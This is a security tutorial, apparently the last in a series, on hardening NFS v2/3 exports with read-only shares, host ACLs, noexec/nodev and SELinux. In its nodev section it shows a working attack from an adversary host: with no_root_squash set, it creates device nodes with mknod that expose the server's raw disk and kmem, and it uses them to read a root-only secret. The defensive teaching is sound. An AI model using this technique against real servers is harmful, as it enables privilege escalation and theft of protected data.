Following on from Part 1 and Part 2; in this
final part of this overview of NFS version 2 and 3, we will look at a number of
other countermeasures and a nice way to compromise a system.
Case
5 – Read only shares
This is one of the more useful options. If we
are sharing out part of the filesystem, then lets stop the client writing to
the share if they don't need to write to it; least privilege.
In this case we specify the ro attribute on the share. Note
that we can have combinations, in that we can specify that some clients are rw and others ro. So, we update /etc/exports thus:
[root@centos-7-2-t1 ~]# cat /etc/exports
/myShare *(ro)
[root@centos-7-2-t1 ~]# exportfs -a
Then, from the adversaries machine, when we
mount the share rw,
we get the following.
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw
centos-7-2-t1:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# su - bh5000
Last login: Wed May 18 09:41:37 BST 2016 on pts/0
[bh5000@centos-7-2-t3 ~]$ cd /tgtNFSmount/
[bh5000@centos-7-2-t3 tgtNFSmount]$ echo hello-world > a.a
-bash: a.a: Read-only file system
As you can see, whilst it appears to mount rw, you still cannot write to
it, since it is prohibited at the server end.
However, just like on web services it is
important we validate at both ends; that authorized clients also ensure that
the 'rules are followed' in case the server is compromised. So, valid clients
should also mount the share
read-only.
Suggestion 4 – don't share or mount something
read-write if read-only is all that is needed.
Case
6 – ACLs
This is probably the best standard NFS option
you have. Just like a firewall, we can restrict the range of hosts (there are
various filters available; e.g. subnets, netgroups), so that only authorized
clients can access the share (or write)
in the first place. In this case, the adversary is forced to compromise
an authorized client (or the server itself), rather than taking advantage of
any other host.
In this case we'll state that only server t2 can access the share.
[root@centos-7-2-t1 ~]# cat /etc/exports
/myShare centos-7-2-t2(rw)
[root@centos-7-2-t1 ~]# exportfs -a
Now, only t2 can access the filesystem. So, from the
adversaries box, this will fail, won't it:
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw
centos-7-2-t1:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# df -k /tgtNFSmount
Filesystem
1K-blocks Used Available Use%
Mounted on
centos-7-2-t1:/myShare
18307072 1865472 16441600 11% /tgtNFSmount
[root@centos-7-2-t3 ~]# echo hello-world > /tgtNFSmount/a.a
-bash: /tgtNFSmount/a.a: Read-only file system
Ah, you need to restart the NFS server in this
case:
[root@centos-7-2-t1 ~]# exportfs -ra
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw
centos-7-2-t1:/myShare /tgtNFSmount/
mount.nfs: access denied by server while mounting
centos-7-2-t1:/myShare
You need to carefully check the semantics of
the specific system.
On Linux the semantics are to share read-only
to all clients unless specified otherwise.
On Solaris, the default is to share read-write
to all clients unless specified otherwise.
There are other semantics as well, so in short,
you should always validate the setup.
Suggestion 5 – Always use an ACL unless you are
absolutely sure it cannot be used in your situation.
Case
7 – noexec and nodev
As with any technology, it always worth looking
at what options are available or changed, as some can improve security, and
some can weaken security.
Often-times, the changes are done in a way that
doesn't break existing functionality. So, you can find a weakness in an (old)
system that it still present in newer incarnations, since the feature needs to
be activated.
In this case, we are going to look at two
useful options for NFS mounts – noexec and nodev. By default these are allowed.
First, noexec. This sort of makes sense – by default
allowing you to execute programs on NFS shares. However, in today's landscape,
as it isn't (normally) authenticated (e.g. Kerberos); probably less so. Let's
turn that off on authorized clients:
[root@centos-7-2-t2 ~]# mount -t nfs -o tcp,vers=3,nosuid,noexec
centos-7-2-t1:/myShare /myNFSmount
[root@centos-7-2-t2 ~]# su - joe
Last login: Wed May 18 10:21:32 BST 2016 on pts/0
[joe@centos-7-2-t2 ~]$ /myNFSmount/bash.centos72
-bash: /myNFSmount/bash.centos72: Permission denied
Next, nodev. This is a nice one. By default we allow
special files on an NFS share, these can be named pipes, sockets, and also
filesystem devices; basically any device.
Device special files are special on the client
that is accessing it. This implies that whether it is the NFS server or the NFS
client, the access is the kernel device driver on the system you are accessing
it. So, if you create a device for the root filesystem, from a client, then
access it on the server; you have access to the root filesystem device on the server.
There is a caveat, by default root is
'squashed', so you cannot just create a device for a filesystem from a client.
However, a) this isn't always the case, and b) you can always compromise the
NFS server itself and use it the other way round to escalate privileges on the
clients.
First example will be with no_root_squash, thus:
[root@centos-7-2-t1 myShare]# cat /etc/exports
/myShare *(rw,no_root_squash)
[root@centos-7-2-t1 myShare]# exportfs -ra
[root@centos-7-2-t1 myShare]# ls -lL /dev/mapper/centos-dummy
brw-rw----. 1 root disk 253, 2 May 11 18:16
/dev/mapper/centos-dummy
[root@centos-7-2-t1 myShare]# getent passwd joe
joe:x:5001:5001::/home/joe:/bin/bash
Now, on the centos-dummy filesystem we have a secret file. So, from the
adversaries box (or a compromised client), we can do this:
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3
centos-7-2-t1:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# cd /tgtNFSmount/
[root@centos-7-2-t3 tgtNFSmount]# mknod testDev b 253 2
[root@centos-7-2-t3 tgtNFSmount]# chown 5001:5001 testDev
[root@centos-7-2-t3 tgtNFSmount]# ls -l testDev
brw-r--r--. 1 5001 5001 253, 2 May 26 10:55 testDev
Then as joe on the NFS server (or a client) we can then
view the filesystem (for the demo we are just using strings, but there are many options
including e.g. dd
the whole thing for offsite enjoyment):
[joe@centos-7-2-t1 ~]$ strings /dev/mapper/centos-dummy
strings: /dev/mapper/centos-dummy: Permission denied
[joe@centos-7-2-t1 ~]$ strings /myShare/testDev | head -20
#k?WQk?W
/mnt
lost+found
supersecret.txt
mySetpriv
...
unconfined_u:object_r:mnt_t:s0
AReallyComplicatedPassword-OK-LONG-Password
@B1
B82
...
i.e. we are reading the following file:
[root@centos-7-2-t1 myShare]# mount -o nosuid
/dev/mapper/centos-dummy /mnt
[root@centos-7-2-t1 myShare]# ls -l /mnt/supersecret.txt
----------. 1 root root 44 May 20 20:53 /mnt/supersecret.txt
[root@centos-7-2-t1 myShare]# cat /mnt/supersecret.txt
AReallyComplicatedPassword-OK-LONG-Password
Now, for a cross-platform attempt. First, what
device do we need on Solaris:
joe@sol10-u9-t4$ df -k /export/home/
Filesystem
kbytes used avail capacity Mounted on
/dev/dsk/c1t0d0s7
8245877 8210 8155209 1%
/export/home
joe@sol10-u9-t4$ ls -lL /dev/kmem /dev/dsk/c1t0d0s7
brw-r----- 1 root sys
30, 7 May 10 16:28
/dev/dsk/c1t0d0s7
crw-r----- 1 root sys
13, 1 May 10 16:12 /dev/kmem
Then on the adversary's Linux box we do the
following:
[root@centos-7-2-t3 tgtNFSmount]# mknod solKmem c 13 1
[root@centos-7-2-t3 tgtNFSmount]# mknod sols7 b 30 7
Then back on the Solaris box we can now do
this:
joe@sol10-u9-t4$ strings /myOracleShare/sols7 2> /dev/null |
more
/export/home
v$2W
v$2W
…
.profile
local.cshrc
local.login
local.profile
.bash_history
This is the default standard profile provided to a user.
They are expected to edit it to meet their own needs.
MAIL=/usr/mail/${LOGNAME:?}
…
But due to some quirks with this kernel we
cannot do the following (there may be kernels for which this will work .. I
would need to look into it in much more detail)
joe@sol10-u9-t4$ mdb -k /myOracleShare/solKmem /dev/ksyms
mdb: failed to read ELF header from /myOracleShare/solKmem: Bad
address
As you can see, being able to create device
special files via a client or the server can be extremely dangerous.
As a side note, Solaris does not have nodev. Instead, nosuid infers the equivalent of nodev. So, it will inadvertently
be stopped by the more obvious nosuid
lockdown.
Suggestion 6 – only allow appropriate files on
a share or mount. Pay particular attention to special files and suid files.
Suggestion 7 – if possible, ensure that the
filesystem you are sharing is also mounted with restrictive options on the NFS
server.
Case
8 – SELinux
On Linux we can use SELinux to enforce a number
of security constraints.
This isn't as scary as people think. You don't
have to go into the details of creating policies, etc. Instead, the default
targeted policy has a set of SELinux booleans that you can turn on and off to
influence policy.
You can see a few by running:
[root@centos-7-2-t1 ~]# getsebool -a | fgrep -i nfs
...
nfs_export_all_ro --> on
nfs_export_all_rw --> on
nfsd_anon_write --> off
...
samba_share_nfs --> off
...
SELinux is a big subject in itself, so I'll
leave it for now in this article. Perhaps for another time.
Case
n+1
There are many other ways to abuse NFS. For
example, normally none of it uses encryption or cryptographic authentication.
You can protect part of the NFSv2/3 connections using Kerberos, but for full
authentication/encryption you need to be using NFSv4.
So, MITM attacks to monitor or alter data is
also a viable option, but I will leave that as an exercise for the reader.
Enjoy.